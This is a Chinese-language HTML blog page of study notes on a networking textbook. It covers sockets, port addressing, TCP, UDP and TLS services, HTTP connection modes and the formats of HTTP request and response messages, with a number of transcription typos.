title="进程通信"></a>进程通信</h4><p>&emsp;&emsp;在构建网络应用程序前,还需要对程序如何运行在多个端系统上以及程序之间如何相互通信有基本了解. 用操作系统的术语来说,进行通信的实际上是<font color="#ff9f9f"><strong>进程</strong></font>而不是程序. </p><ul><li>一个进程可以被认为是运行在端系统中的一个程序. </li><li>当多个进程运行在相同的端系统上时,它们使用进程间通信机制相互通信. </li><li>进程间通信的规则由端系统上的操作系统确定.</li></ul><p>&emsp;&emsp;而在本书中,我们并不特别关注同一台主机上的进程间通信,而关注运行在不同端系统(可能具有不同的操作系统)上的进程间通信. </p><p>&emsp;&emsp;在两个不同端系统上的进程,通过跨越计算机网络交换<font color="#ff9f9f"><strong>报文</strong></font>而相互通信. 发送进程生成并向网络中发送报文;接收进程接收这些报文并可能通过回送报文进行响应. </p><p>&emsp;&emsp;<strong>1.客户和服务器进程</strong></p><p>&emsp;&emsp;网络应用程序由成对的进程组成,这些进程通过网络相互发送报文. </p><p>&emsp;&emsp;例如,在Web应用程序,一个客户浏览器进程与一个Web服务器进程交换报文. 在一个P2P文件共享系统, 文件从一个对等方中的进程传输到另一个对等方中的进程. 对每对通信进程,我们通常将这两个进程之一为<font color="#ff9f9f"><strong>客户</strong></font>,而另一个进程为<font color="#ff9f9f"><strong>服务器</strong></font>. 对于Web而言,浏览器是一个客户进程,Web服务器是一个服务器进程. 对于P2P文件共享,下载文件的对等方为客户,上载文件的对等方为服务器. </p><p>&emsp;&emsp;客户和服务器进程的定义如下:<font color="#ff9f9f">**在一对进程之间的通信会话场景,发起通信(即在该会话开始时发起与其他进程的联系)的进程为客户进程,在会话开始时等待联系的进程为服务器进程. **</font></p><p>&emsp;&emsp;<strong>2. 进程与计算机网络之间的接口</strong></p><p>&emsp;&emsp;如上所述,多数应用程序由通信进程对组成,每对中的两个进程相互发送报文. 从一个进程向另一个进程发送的报文必须通过下面的网络. 进程通过一个称为<font color="#ff9f9f"><strong>套接字</strong></font>的软件接口向网络发送报文和从网络接收报文. </p><p>&emsp;&emsp;下图显示了两个经过因特网通信的进程之间的套接字通信(假定由该进程使用的运输层协议是TCP协议). 如该图所示,套接字是<font color="#ff9f9f"><strong>同一台主机内应用层与运输层之间的接口</strong></font>. 由于该套接字是建立网络应用程序的可编程接口,因此套接字也称为应用程序和网络之间的<font color="#ff9f9f"><strong>应用编程接口(API)</strong></font>. 应用程序开发者可以控制套接字在应用层端的一切,但是对该套接字的运输层端几乎没有控制权. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/9.png"><p>&emsp;&emsp;应用程序开发者对于运输层的控制仅限于：</p><ul><li>选择运输层协议</li><li>可能能设定几个运输层参数,如最大缓存和最大报文段长度</li></ul><p>&emsp;&emsp;<strong>3. 进程寻址</strong></p><p>&emsp;&emsp;为了向特定目的地发送邮政邮件,目的地需要有一个地址. 类似地,在一台主机上运行的进程为了向另一台主机上运行的进程发送分组,接收进程需要有一个地址. 为了标识该接收进程,需要定义两种信息：</p><ul><li>主机的地址(因特网中就是IP地址)</li><li>目标主机中指定接收进程的标识符</li></ul><p>&emsp;&emsp;除了知道报文发送目的地的主机地址,发送进程还必须指定运行在接收主机上的接收进程. 因为一般而言一台主机能够运行许多网络应用,所以这些信息是必要的. <font color="#ff9f9f"><strong>目的地端口号</strong></font>用于这个目的. 常用的应用有固定的端口号,如Web服务器用端口号80来标识. 邮件服务器进程(使用SMTP协议)用端口号25来标识. </p><blockquote><p>用于所有因特网标准协议的周知端口号的列表能够在<a href="http://www.iana.org处找到/">www.iana.org处找到</a></p></blockquote><h4 id="可供应用程序使用的运输服务"><a href="#可供应用程序使用的运输服务" class="headerlink" title="可供应用程序使用的运输服务"></a>可供应用程序使用的运输服务</h4><p>&emsp;&emsp;包括因特网在内的很多网络提供了不止一种运输层协议. 当开发一个应用时,必须选择一种可用的运输层协议. 如何做出这种选择呢?最可能的方式是,通过研究这些可用的运输层协议所提供的服务,选择一个最能为你的应用需求提供恰当服务的协议. </p><p>&emsp;&emsp;我们大体能够从四个方面对应用程序服务要求进行分类:</p><ul><li>可靠数据传输</li><li>吞吐量</li><li>定时</li><li>安全性</li></ul><p>&emsp;&emsp;<strong>1. 可靠数据传输</strong></p><p>&emsp;&emsp;分组在计算机网络中可能丢失. 例如,分组能够使路由器中的缓存溢出,或者当分组中的某些比特损坏后可能被丢弃. </p><p>&emsp;&emsp;因此,为了支持这些应用,必须做一些工作以确保由应用程序的一端发送的数据正确并完全地交付给该应用程序的另一端. 如果一个协议提供了这样的确保数据交付服务,就认为提供了<font color="#ff9f9f"><strong>可靠数据传输</strong></font>. </p><p>&emsp;&emsp;运输层协议能够潜在地向应用程序提供的一个重要服务就是进程到进程的可靠数据传输. 当一个运输协议提供这种服务,发送进程只要将其数据传递进套接字,就可以完全相信该数据将能无差错地到达接收进程. </p><p>&emsp;&emsp;当一个运输层协议不提供可靠数据传输时,由发送进程发送的某些数据可能到达不了接收进程. 这可能能被<font color="#ff9f9f"><strong>容忍丢失的应用</strong></font>所接受,最值得注意的是多媒体应用,如交谈式音频&#x2F;视频,它能够承受一定量的数据丢失. 在多媒体应用中,丢失的数据会引起播放的音频&#x2F;视频出现小干扰,而不是致命的损伤. </p><p>&emsp;&emsp;<strong>2. 吞吐量</strong></p><p>&emsp;&emsp;具有吞吐量要求的应用程序被称为<font color="#ff9f9f"><strong>带宽敏感的应用</strong></font>. 许多当前的多媒体应用是带宽敏感的,尽管某些多媒体应用可能采用自适应编码技术对数字语音或视频以与当前可用带宽相匹配的速率进行编码. </p><p>&emsp;&emsp;带宽敏感的应用具有特定的吞吐量要求,而<font color="#ff9f9f"><strong>弹性应用</strong></font>能够根据当时可用的带宽或多或少地利用可供使用的乔吐量. 电子邮件、文件传输以及Web传送都属于弹性应用. </p><p>&emsp;&emsp;<strong>3. 定时</strong></p><p>&emsp;&emsp;运输层协议也能提供定时保证. 如同具有吞吐量保证那样,定时保证能够以多种形式实现. 一个保证的例子如:发送方注入套接字中的每个比特到达接收方的套接字不迟于100ms. </p><p>&emsp;&emsp;交互式实时应用程序对于定时有较高要求，对于非实时的应,较低的时延总比较高的时延好,但对端到端的时延没有严格的约束. </p><p>&emsp;&emsp;<strong>4. 安全性</strong></p><p>&emsp;&emsp;运输协议能够为应用程序提供一种或多种安全性服务. 例如,在发送主机中,运输协议能够加密由发送进程传输的所有数据；在接收主机中,运输协议能够在将数据交付给接收进程之前解密这些数据. 这种服务将在发送和接收进程之间提供机密性,以防数据以某种方式在这两个进程之间被观察. 运输协议还能提供除了机密性以外的其他安全性服务,包括数据完整性和端点鉴别等. </p><h4 id="因特网提供的运输服务"><a href="#因特网提供的运输服务" class="headerlink" title="因特网提供的运输服务"></a>因特网提供的运输服务</h4><p>&emsp;&emsp;我们已经考虑了计算机网络能够提供的通用运输服务. 现在我们要更为具体地考察由因特网提供的运输服务类型. 因特网(更一般的是TCP&#x2F;IP网)为应用程序提供两个运输层协议,即TCP和UDP. </p><p>&emsp;&emsp;<strong>1. TCP服务</strong></p><p>&emsp;&emsp;TCP服务模型包括<font color="#ff9f9f"><strong>面向连接服务</strong></font>和<font color="#ff9f9f"><strong>可靠数据传输服务</strong></font>. 当某个应用程序调用TCP作为其运输协议时,该应用程序就能获得来自TCP的这两种服务. </p><ul><li><strong>面向连接的服务</strong>:在应用层数据报文开始流动之前,TCP让客户和服务器<font color="#ff9f9f"><strong>相互交换运输层控制信息</strong></font>. 这个所谓的<strong>握手过程</strong>提醒客户和服务器,让它们为大量分组的到来做好准备. 在握手阶段后,一个<font color="#ff9f9f"><strong>TCP连接</strong></font>就在两个进程的套接字之间建立了. 这条连接是全双工的,即连接双方的进程可以在此连接上同时进行报文收发. 当应用程序结束报文发送时,必须拆除该连接. </li><li><strong>可靠的数据传输服务</strong>:通信进程能够依靠TCP,无差错、按适当顺序交付所有发送的数据. 当应用程序的一端将字节流传进套接字时,它能够依靠TCP将相同流交付给接收方的套接,而没有字节的丢失和冗余.</li></ul><p>&emsp;&emsp;TCP还具有拥塞控制机制,这种服务不一定能直接为通信进程带来好处,但对因特网整体有利. 当发送方和接收方之间的网络出现拥塞时,TCP的拥塞控制机制会抑制发送进程(客户或服务器). </p><blockquote><p><strong>EX. TCP安全</strong></p><p>无论TCP还是UDP都没有提供任何加密机制,这就是说发送进程传进其套接字的数据,与经网络传送到目的进程的数据相同. 因此,举例来说,如果某发送进程以明文方式发送了一个口令进入它的套接字,该明文口令将经过发送方与接收方之间的所有链路传送,这就可能在任何中间链路被嗅探和发现. </p><p>因为隐私和其他安全问题对许多应用而言已经成为至关重要的问题,所以因特网界已经研制了TCP的“强化模块”,称为<font color="#ff9f9f"><strong>运输层安全(TLS)</strong></font>. 用TLS加强后的TCP不仅能够做传统的TCP所能做的一切,而且提供了关键的进程到进程的安全性服务,包括加密、数据完整性和端点鉴别. </p><p>注意，TLS并不是因特网运输层传输协议，它只是一种对TCP的加强，这种加强是在应用层实现的. </p><p>TLS有它自己的套接字API,这类似于传统的TCP套接字API. 当一个应用使用TLS时,发送进程向TLS套接字传递明文数据;发送主机中的TLS则加密该数据,并将加密的数据传递给TCP套接字. 加密的数据经因特网传送到接收进程中的TCP套接字. 该接收套接字将加密数据传递给TLS,由其进行解密. 最后,TLS通过它的TLS套接字将明文数据传递给接收进程. </p></blockquote><p>&emsp;&emsp;<strong>2. UDP服务</strong></p><p>&emsp;&emsp;UDP是一种不提供不必要服务的轻量级运输协议,它仅提供最低限度的服务. </p><p>&emsp;&emsp;UDP是无连接的,因此在两个进程通信前没有握手过程. UDP提供一种不可靠数据传输服务,也就是说,当进程将一个报文发送进UDP套接字时,UDP并不保证该报文将到达接收进程. 不仅如此,到达接收进程的报文也可能是乱序到达的. </p><p>&emsp;&emsp;UDP不包括拥塞控制机制,所以UDP的发送端可以用它选定的任何速率向其下层(网络层)注入数据. (然而,值得注意的是实际端到端吞吐量可能小于该速率,这可能是由中间链路的带宽受限或拥塞而造成的. )</p><p>&emsp;&emsp;<strong>3. 因特网运输协议所不提供的服务</strong></p><p>&emsp;&emsp;TCP提供了可靠的端到端数据传输. 并且我们也知道TCP在应用层可以很容易地用TLS来加强以提供安全服务. 所以运输协议服务中的可靠数据传输和安全性都可以得到满足</p><p>&emsp;&emsp;今天的因特网通常能够为时间敏感应用提供满意的服务,但它不能提供任何定时或知吐量保证. </p><p>&emsp;&emsp;下图给出了一些流行的因特网应用所使用的运输协议. 可以看到,电子邮件、远程终端访问、Web、文件传输都使用了TCP. 这些应用选择TCP的最主要原因是TCP提供了可靠数据传输服务,确保所有数据最终到达目的. 因为因特网电话应用(如Skype)通常能够容忍某些丢失但要求达到一定的最小速率才能有效工,所以因特网电话应用的开发者通常愿意将该应用运行在UDP上,从而设法避开TCP的拥塞控制机制和分组开销. 但因为许多防火墙被配置成阻挡(大多数类型的)UDP流量,所以因特网电话应用通常被设计成如果UDP通信失败就使用TCP作为备选项. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/10.png"><h4 id="应用层协议"><a href="#应用层协议" class="headerlink" title="应用层协议"></a>应用层协议</h4><p>&emsp;&emsp;我们刚刚学习了通过把报文发送进套接字实现网络进程间的互相通信. 那么如何构造这些报文?在这些报文中,各个字段的含义是什么?进程何时发送这些报文?这些问题将我们带进应用层协议的范围. </p><p>&emsp;&emsp;<font color="#ff9f9f"><strong>应用层协议(application-layer protocol)</strong></font>定义了运行在不同端系统上的应用程序进程如何相互传递报文. 特别是应用层协议定义了以下内容:</p><ul><li>交换的报文类型,例如请求报文和响应报文. </li><li>各种报文类型的语法,如报文中的各个字段及这些字段是如何描述的. </li><li>字段的语义,即这些字段中信息的含义. </li><li>确定一个进程何时以及如何发送报文,对报文进行响应的规则.</li></ul><p>&emsp;&emsp;有些应用层协议是由RFC文档定义的,因此它们位于公共域中. 例如,Web的应用层协议HTTP(超文本传输协议[RFC 7230])就作为一个RFC可供使用. 如果浏览器开发者遵从HTTP RFC规则,所开发出的浏览器就能访问任何遵从该文档标准的Web服务器并获取相应Web页面. 还有很多别的应用层协议是专用的,有意不为公共域所用. 例如,Skype使用了专用的应用层协议. </p><p>&emsp;&emsp;区分网络应用和应用层协议是很重要的. 应用层协议只是网络应用的一部分(尽管它是应用非常重要的一部分). 例如，Web是一种客户-服务器应用,它允许客户按照需求从Web服务器获得文档. 该Web应用有很多组成部分,包括文档格式的标准(即HIML)、Web浏览器(如Chrome和Microsoft Internet Explorer)、Web服务器(如Apache、Microsoft服务器程序),以及一个应用层协议. Web的应用层协议是HITP,它定义了在浏览器和Web服务器之间传输的报文格式和序列. 因此,HTTP只是Web应用的一个部分(尽管是重要部分). </p><h3 id="web和http"><a href="#Web和HTTP" class="headerlink" title="Web和HTTP"></a>Web和HTTP</h3><h4 id="http概述"><a href="#HTTP概述" class="headerlink" title="HTTP概述"></a>HTTP概述</h4><p>&emsp;&emsp;Web的应用层协议是<font color="#ff9f9f"><strong>超文本传输协议(HyperText Transfer Protocol,HTTP)</strong></font>,它是Web的核心. HTTP由两个程序实现:一个客户程序和一个服务器程序. 客户程序和服务器程序运行在不同的端系统中通过交换HTTP报文进行会话. HTTP定义了这些报文的结构以及客户和服务行报文交换的方式. 在详细解释HITP之前,先了解一些Web术语. </p><p>&emsp;&emsp;<font color="#ff9f9f"><strong>Web页面(Web page)</strong></font>（也叫文档）是由对象组成的. 一个<font color="#ff9f9f"><strong>对象(object)</strong></font>只是一个文件,诸如一个HIML文件、一个JPEG图形、一个JavaScript文件、一个CCS样式表文件或一个视频片段,它们可通过一个URL寻址. 多数Web页面含有一个<font color="#ff9f9f"><strong>HTML基本文件(base HTML file)</strong></font>以及几个引用对象. 例如,如果一个Web页面包含HTML文本和5个JPEGC图形,那么这个Web页面有6个对象:一个HTML基本文件和5个图形. HTML基本文件通过对象的URL引用页面中的其他对象. 每个URL由两部分组:存放对象的服务器主机和名和对象的路径. 例如,一个URL为<code>http:www.someSchool.edu/ysomeDepartment/picture.gif</code>,其中的<code>www.someSchool.edu</code>就是主机名,<code>/someDepartment/picture.gif</code>就是路径名. 因为<font color="#ff9f9f"><strong>Web浏览器(Web browser)</strong></font>实现了HTTP的客户端,所以在Web环境中我们经常交换使用浏览器和客户这两个术语. <font color="#ff9f9f"><strong>Web服务器(Webserver)</strong></font>实现了HTTP的服务器端,它用于存储Web对象,每个对象由URL寻址. 流行的Web服务器有Apache和Nginx等. </p><p>&emsp;&emsp;HTTP定义了Web客户向Web服务器请求Web页面的方式,以及服务器向客户传送Web页面的方式. 我们稍后详细讨论客户和服务器的交互过程,而其基本思想在下图中进行了图示. 当用户请求一个Web页面(如点击一个超链接)时浏览器向服务器发出对该页面中所包含对象的HTTP请求报文,服务器接收到请求并用包含这些对象的HTTP响应报文进行啊应. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/11.png"><p>&emsp;&emsp;HTTP使用TCP作为它的支撑运输协议(而不是在UDP上运行). HTTP客户首先发起一个与服务器的TCP连接. 一旦连接建立,该浏览器和服务器进程就可以通过套接字接口访问TCP. </p><p>&emsp;&emsp;客户向它的套接字接口发送HTTP请求报文并从它的套接字接口接收HTTP响应报文. 类似,服务器从它的套接字接口接收HTTP请求报文并向它的套接字接口发送HTTP响应报文. 一旦客户向它的套接字接口发送了一个请求报文,该报文就脱离了客户控制并进入TCP的控制. </p><p>&emsp;&emsp;TCP为HTTP提供可靠数据传输服务. 这意味着,一个客户进程发出的每个HTTP请求报文最终能完整地到达服务器;类似,服务器进程发出的每个HTTP响应报文最终能完整地到达客户. 这里我们看到了分层体系结构最大的优点,即<strong>HTTP不用担心数据丢失,也不关注TCP从网络的数据委失和乱序故障中恢复的细节</strong>. 那是TCP以及协议栈较低层协议的工作. </p><p>&emsp;&emsp;需要注意:服务器向客户发送被请求的文件,而不存储任何关于该客户的状态信息. 假如某个特定的客户在短短的几秒内两次请求同一个对象,服务器并不会因为刚刚为该客户提供了该对象就不再做出反应,而是重新发送该对象. 因为HTTP服务器并不保存关于客户的任何信息,所以我们说HTTP是一个<font color="#ff9f9f"><strong>无状态协议（stateless protocol）</strong></font>. 我们同时也注意到Web使用了客户服务器应用程序体系结构. Web服务器总是打开的,具有一个固定的IP地址,且它服务于可能来自数以百万计的不同浏览器的请求. </p><blockquote><p>HTTP 的初始版本称为 HTTP&#x2F;1.0, 其可追溯到20世纪90年代早期 [RFC1945] . 到2020年为止, 绝大部分的 HTTP 事务都采用 HTTP&#x2F;1.1 [RFC7230]. 然而, 越来越多的浏览器和 Web 服务器也支持新版的 HTTP, 称为 HTTP&#x2F;2.0 [RFC7540]. 在本节结束时,将给出 HTTP&#x2F;2.0 的简介. </p></blockquote><h4 id="非持续连接和持续链接"><a href="#非持续连接和持续链接" class="headerlink" title="非持续连接和持续链接"></a>非持续连接和持续链接</h4><p>&emsp;&emsp;在许多因特网应用程序中,客户和服务器在一个相当长的时间范围内通信,在此期间,客户发出一系列请求,并且服务器对每个请求进行响应. 依据应用程序以及该应用程序的使用方式,这一系列请求可以以规则的间隔周期性地或者间断性地一个接一个发出. </p><ul><li><p>当每个请求&#x2F;响应对是经一个单独的TCP连接发送，则该应用程序被称为使用<font color="#ff9f9f"><strong>非持续连接(non-persistentconnection)</strong></font>. </p></li><li><p>当所有的请求及其响应经相同的TCP连接发送，则该应用程序被称为使用<font color="#ff9f9f"><strong>持续连接(persistentconnection)</strong></font>.</p></li></ul><p>&emsp;&emsp;为了深入地理解该设计问题,我们研究在特定的应用程序即HTTP的情况下持续连接的优点和缺点,HTTP既能够使用非持续连接,也能够使用持续连接. 尽管HTTP默认使用持续连接,但HITP客户和服务器也能配置成使用非持续连接. </p><p><strong>1. 采用非持续连接的HTTP</strong></p><p>&emsp;&emsp;我们看看在非持续连接情况下从服务器向客户传送一个Web页面的步骤. 假设该页面含有1个HTML基本文件和10个JPEG图形,并且这11个对象位于同一台服务器上. 进一步假设该HTML文件的URL为<a href="http://www.example.com/index.html%EF%BC%8C%E4%BB%A5%E4%B8%8B%E6%98%AF%E8%AF%B7%E6%B1%82%E5%8F%91%E9%80%81%E7%9A%84%E6%83%85%E5%86%B5%EF%BC%9A">http://www.example.com/index.html，以下是请求发送的情况：</a></p><ol><li>HTTP客户进程在端口号80发起一个到服务器<a href="http://www.example.com的tcp连接,该端口号是http的默认端口/">www.example.com的TCP连接,该端口号是HTTP的默认端口</a>. 在客户和服务器上分别有一个套接字与该连接相关联. </li><li>HTTP客户经它的套接字向该服务器发送一个HTTP请求报文. 请求报文中包含了路径名&#x2F;index.html. </li><li>HTTP服务器进程经它的套接字接收该请求报文,从其存储器(通常是RAM)中检索出对象index.html(注意工作目录问题),在一个HTTP响应报文中封装对象,并通过其套接字向客户发送响应报文. </li><li>HTTP服务器进程通知TCP断开该TCP连接. (但直到TCP确认客户得到完整的响应报文后,它才会实际中断连接. )</li><li>HTTP客户接收响应报文,TCP连接关闭. 该报文指出封装的对象是一个HTML文件,客户从响应报文中提取出该文件,检查该HTML文件,得到对10个JPEG图形的引用. </li><li>对每个引用的JPEG图形对象重复前4个步骤.</li></ol><p>&emsp;&emsp;当浏览器收到Web页面后,向用户显示该页面. 两个不同的浏览器也许会以不同的方式解释（即向用户显示)该页面. HTTP与客户如何解释一个Web页面毫无关系. HTTP规范(<code>[RFC1945]</code>和<code>[RFC7540]</code>)仅定义了在HTTP客户程序与HTTP服务器程序之间的通信协议. </p><p>&emsp;&emsp;上面的步骤举例说明了非持续连接的使用,其中每个TCP连接在服务器发送一个对象后关闭,即该连接并不为其他的对象而持续下来. HTTP71.0应用了非持续TCP连接. 值得注意的是每个TCP连接只传输一个请求报文和一个响应报文. 因此在本例,当用户请求该Web页面时,要产生11个TCP连接. </p><p>&emsp;&emsp;在上面描述的步骤,我们有意没有明确客户获得这10个JPEG图形对象是使用10个串行的TCP连接,还是某些JPEG对象使用了一些并行的TCP连接. 事实上,用户能够配置现代浏览器来控制连接的并行度. 浏览器打开多个TCP连接,并且请求经多个连接请求某Web页面的不同部分. 我们在下一章会看到,使用并行连接可以缩短响应时间. </p><p>&emsp;&emsp;在继续讨论之前,我们来简单估算一下从客户请求HTML基本文件起到该客户收到整个文件止所花费的时间. 为此,我们给出<font color="#ff9f9f"><strong>往返时间(Round-Trip Time,RTT)</strong></font>的定义,该时间是指一个短分组从客户到服务器然后再返回客户所花费的时间. RTT包括分组传播时延、分组在中间路由器和交换机上的排队时延以及分组处理时延. 现在考虑当用户点击超链接时会发生什么现象. 如下图所示,,这引起浏览器在它和Web服务器之间发起一个TCP连接;这涉及一次“三次握手”过程,即客户向服务器发送一个小TCP报文段,服务器用一个小TCP报文段做出确认和响应,最后,客户向服务器返回确认(确认连接建立). 三次握手中前两个部分所耗费的时间占一个RTT. 完成了三次握手的前两个部分后，客户结合三次握手的第三部分向该TCP连接发送一个HTTP请求报文. 一旦该请求报文到达服务器，服务器就在该TCP连接上发送HTML文件. 该HTTP请求&#x2F;响应用去了另一个RTT. 因此,粗略地讲,总的响应时间就是两个RTT加上服务器传输HTML文件的时间. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/12.png"><p>&emsp;&emsp;非持续性连接的缺点非常明显. <em>第一</em>，必须为每一个请求的对象建立和维护一个全新的连接. 对于每个这样的连接,在客户和服务器中都要分配TCP的缓冲区和保持TCP变量，这给Web服务器带来了严重的负担，因为一台Web服务器可能同时服务于数以百计不同客户的请求. <em>第二</em>,每一个对象经受两倍RTT的交付时延,即一个RTT用于创建TCP,另一个RTT用于请求和接收一个对象. </p><p><strong>2. 采用持续连接的HTTP</strong></p><p>&emsp;&emsp;在采用HTTP1.1持续连接的情况,服务器在发送响应后保持该TCP连接打开. 在相同的客户与服务器之,后续的请求和响应报文能够通过相同的连接进行传送. 特别是,一个完整的Web页面(上例中的HTML基本文件加上10个图形)可以用单个持续TCP连接进行传送. 更有甚者,位于同一台服务器的多个Web页面在从该服务器发送给同一个客户时,可以在单个持续TCP连接上进行. 对对象的这些请求可以一个接一个地发出,而不必等待对未决请求(流水线)的回答. 通常,如果一条连接经过一定时间间隔(一个可配置的超时间隔)仍未被使用,HTTP服务器就关闭该连接. HTTP的默认模式是使用带流水线的持续连接. </p><h4 id="http-报文格式"><a href="#HTTP-报文格式" class="headerlink" title="HTTP 报文格式"></a>HTTP 报文格式</h4><p>&emsp;&emsp;HTTP规范[RFC1945,RFC7230,RFC7540]包含了对HTTP报文格式的定义. HTTP报文有两种:请求报文和响应报文. 下面讨论这两种报文. </p><p><strong>1. HTTP请求报文</strong></p><p>&emsp;&emsp;下面提供了一个典型的HTTP请求报文：</p><pre><code class="http"> GET /soemedir/page.htmL HTTIP/1.1 Host: www.Someschool.edu Connection: Close User-agent: Mozilla/5.0 Accept-Language: fr</code></pre><p>&emsp;&emsp;通过仔细观察这个简单的请求报文,我们就能学到很多东西. 首先,我们看到该报文是用普通的ASCII文本书写的,这样有一定计算机知识的人都能够阅读它. 其次,我们看到该报文由5行组成,每行由一个回车和换行符(<code>/t/n</code>)结束. 最后一行后再附加一个回车和换行符. 虽然这个特定的报文仅有5行,但一个请求报文能够具有更多的行或者至少为一行. </p><p>&emsp;&emsp;HTTP请求报文的第一行叫作<font color="#ff9f9f"><strong>请求行(requestline)</strong></font>,其后继的行叫作<font color="#ff9f9f"><strong>首部行(headerline)</strong></font>. 请求行有3个字段:<em>方法字段</em>、<em>URL字段</em>和<em>HTTP版本字段</em>. 方法字段可以取几种不同的值,包括GET、POST、HEAD、PUT和DELETE. 绝大部分的HTTP请求报文使用GET方法. 当浏览器请求一个对象时,使用GET方法,在URL字段带有请求对象的标识. 在本例中,该HTTP报文在请求对象<code>/somedirpage.html</code>. 其版本字段是自解释的,在本例中,浏览器实现的是HTTP&#x2F;1.1版本. </p><p>&emsp;&emsp;现在我们看看本例的首部行. 首部行<code>Host:www.someschool.edu</code>指明了的主机. 你也许认为该首部行是不必要的,因为在该主机中已对象所在经有一条TCP连接存在了. 但是,如我们将在2.2.5节中所见,该首部行提供的信息是Web代理高速缓存所要求的. 通过包含<code>Connection:close</code>首部行,该浏览吉告诉服务器不要麻烦地使用持续连接,它要求服务吉在发送完被请求的对象后就关闭这条连接. <code>User-agent:</code>首部行用来指明用户代理,即向服务器发送请求的浏览器的类型. 这里浏览器类型是<code>Mozila/5.0</code>,即Firefox浏览器. 这个首部行是有用的,因为服务器可以有效地为不同类型的用户代理实际发送相同对象的不同版本(每个版本都由相同的URL寻址). 最后,<code>Accept-language:</code>首部行表示用户想得到该对象的法语版本(如果服务器中有这样的对象的话);否则,服务器应当发送它的默认版本. <code>Accept-language:</code>首部行仅是HTTP中可用的众多<em>内容协商首部</em>之一. </p><p>&emsp;&emsp;看过一个例子之后,我们再来看看如下图所示的一个请求报文的通用格式. 我们看到该通用格式与我们前面的例子密切对应. 然而,在首部行(与附加的回车和换行符)后有一个<font color="#ff9f9f"><strong>实体体(entitybody)</strong></font>. 使用GET方法时整个实体体为空,而使用POST方法(并不止)时才使用该实体体. 当用户提交表单时,HTTP客户常常使用POST方法,例如当用户向搜索引擎提供搜索关键词时. 使用POST报文时,用户仍可以向服务器请求一个Web页面,但Web页面的特定内容依赖于用户在表单字段中输入的内容. 如果方法字段的值为POST,则实体体中包含的就与用户在表单字段中的输入值有关. </p><p>&emsp;&emsp;HTML表单将是经常使用GET方法,并在(表单字段)所请求的URL中包括输入的数据. 例如,一个表单使用GET方法,它有两个字段,分别填写的是monkeys和bananas这样,该URL结构为<code>www.somesite.com/animalsearch?monkeys&amp;bananas</code>. </p><blockquote><p>这里的<code>monkey</code>和<code>bananas</code>就是GET Params. </p></blockquote><ul><li><p>HEAD方法类似于GET方法. 当服务器收到一个使用HEAD方法的请求时,将会用一个HTTP报文进行响应,但是并不返回请求对象. 应用程序开发者常用HEAD方法进行调试跟踪. </p></li><li><p>PUT方法常与Web发行工具联合使用,它允许用户上传对象到指定的Web服务需上指定的路径(目录). PUT方法也被那些需要向Web服务器上传对象的应用程序使用. </p></li><li><p>DELETE方法允许用户或者应用程序删除Web服务器上的对象.</p></li></ul><p>2.HTTP响应报文</p><p>&emsp;&emsp;下面提供了一条典型的HTTP响应报文. 该响应报文可以是对刚刚讨论的例子中请求报文的响应. </p><pre><code class="http">HTTP/1.1 200 OKConriection: closeDate: Tue, 18 Aug 2015 15:44:04 GMTServer: Apache/2.2.3 (CentOS)Last-Modified: Tue, 18 Aug 2015 15:11:03 GMTContent-Length: 6821Content-Type: text/html(data ...)</code></pre><p>&emsp;&emsp;仔细看一下这个响应报文. 它有三个部:一个<font color="#ff9f9f"><strong>初始状态行(status line)</strong></font>,6个<font color="#ff9f9f"><strong>首部行(header line)</strong></font>,然后是<font color="#ff9f9f"><strong>实体体(entity body)</strong></font>. 实体体部分是报文的主要部分,即它包含了所请求的对象本身(表示为data…). </p><p>&emsp;&emsp;状态行有3个字段:协议版本字段、状态码和响应状态信息. 在这个例子中,状态行指示服务器正在使用HTTP&#x2F;1.1,并且一切正常（状态码200，即服务器已经找到并正在发送所请求的对象). </p><p>&emsp;&emsp;现在来看看首部行. </p><ul><li><p><code>Connection: close</code>首部行告诉客户,发送完报文后将关闭该TCP连接. </p></li><li><p><code>Date</code>首部行指示服务器产生并发送该响应报文的日期和时间. 值得一提的是,这个时间不是指对象创建或者最后修改的时间,而是服务器从它的文件系统中检索到该对像,将该对象插入响应报文,并发送该响应报文的时间. </p></li><li><p><code>Server</code>首部行指示该报文是由一台Apache Web服务器产生的,它类似于HTTP请求报文中的<code>User-agent</code>首部行. </p></li><li><p><code>Last-Modiftied</code>首部行指示该对象创建或最后修改的时间与日期. “<code>Last-Modified</code>首部行对既可能在本地客户也可能在网络缓存服务器(即<em>代理服务器</em>)上的对象缓存来说非常重要,下文将更为详细地讨论<code>Last-Modified</code>首部行. </p></li><li><p><code>Content-Length</code>首部行指示了被发送对象中的字节数. <code>Content-Type</code>首部行指示了实体体中的对象是HTML文本. (该对象类型应该正式地用<code>Content-Type</code>首部行而不是文件扩展名来指示. )</p><blockquote><p>Content-Length也是可以引发安全问题的，比如CVE-2024-21096.</p></blockquote></li></ul><p>一些常见的状态码和相关的短语包括:</p><ul><li><strong>200 OK</strong>:请求成功,信息在返回的响应报文中. </li><li><strong>301 Moved Permanently</strong>:请求的对象已经被永久转移了,新的URL定义在响应报文的<code>Location</code>首部行. 客户软件将自动获取新的URL. </li><li><strong>400 Bad Request</strong>: 一个通用差错代码,指示该请求不能被服务器理解. </li><li><strong>403 Forbidden</strong>: 拒绝访问(无权限访问或不合规范等). </li><li><strong>404 Not Found</strong>: 被请求的文档不在服务器上. </li><li><strong>500 Internal Server Error</strong>: 服务器内部错误. </li><li><strong>505 HTTP Version Not Supported</strong>: 服务器不支持请求报文使用的HTTP版本.</li></ul><p>&emsp;&emsp;在本节中,我们讨论了HTTP请求报文和响应报文中的一些首部行. HTTP规范中定义了许许多多的首部行,这些首部行可以被浏览器、Web服务器和网络缓存服务器插入(当然也可以自己来加). 我们只提到了全部首部行中的少数几个,在2.2.5节中我们讨论网络Web缓存时还会涉及其他几个. </p><p>&emsp;&emsp;浏览器是如何决定在一个请求报文中包含哪些首部行的呢?Web服务器又是如何决定在一个响应报文中包含哪些首部行呢?浏览器产生的首部行与很多因素有关,包括浏览器的类型和版本、浏览器的用户配置、浏览器当前是否有一个缓存的但可能超期的对象版本. Web服务器的表现也类似:在产品、版本和配置上都有差异,所有这些都会影响响应报文中包含的首部行. </p><h4 